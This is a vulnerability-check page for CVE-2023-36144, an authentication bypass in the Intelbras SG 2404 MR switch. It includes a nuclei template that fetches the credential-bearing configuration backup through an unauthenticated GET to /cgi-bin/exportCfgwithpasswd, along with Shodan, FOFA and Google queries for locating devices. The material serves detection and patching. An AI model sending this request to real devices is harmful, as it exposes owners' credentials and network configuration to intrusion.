Intelbras Switch - Information Disclosure

highseverity

7.5CVSS score

36.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.

Impact

Unauthenticated attackers can exploit authentication bypass to download backup configuration files containing critical device information including credentials and network configuration from Intelbras Switch devices.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/exportCfgwithpasswd
Positive when: contains "System Description" and "System Version" and "System Name" AND contains in header "attachment;filename=" AND status 200

Run it with nuclei: nuclei -id CVE-2023-36144 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-36144

info:
  name: Intelbras Switch - Information Disclosure
  author: gy741
  severity: high
  description: |
    An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.
  impact: |
    Unauthenticated attackers can exploit authentication bypass to download backup configuration files containing critical device information including credentials and network configuration from Intelbras Switch devices.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36144
    - https://github.com/leonardobg/CVE-2023-36144
    - http://intelbras.com
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-36144
    cwe-id: CWE-862
    epss-score: 0.36507
    epss-percentile: 0.98505
    cpe: cpe:2.3:o:intelbras:sg_2404_mr_firmware:1.00.54:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: sg_2404_mr_firmware
    shodan-query:
      - title:"Intelbras"
      - http.title:"intelbras"
    fofa-query: title="intelbras"
    google-query: intitle:"intelbras"
  tags: cve2023,cve,intelbras,switch,exposure,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cgi-bin/exportCfgwithpasswd'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'System Description'
          - 'System Version'
          - 'System Name'
        condition: and

      - type: word
        part: header
        words:
          - 'attachment;filename='

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from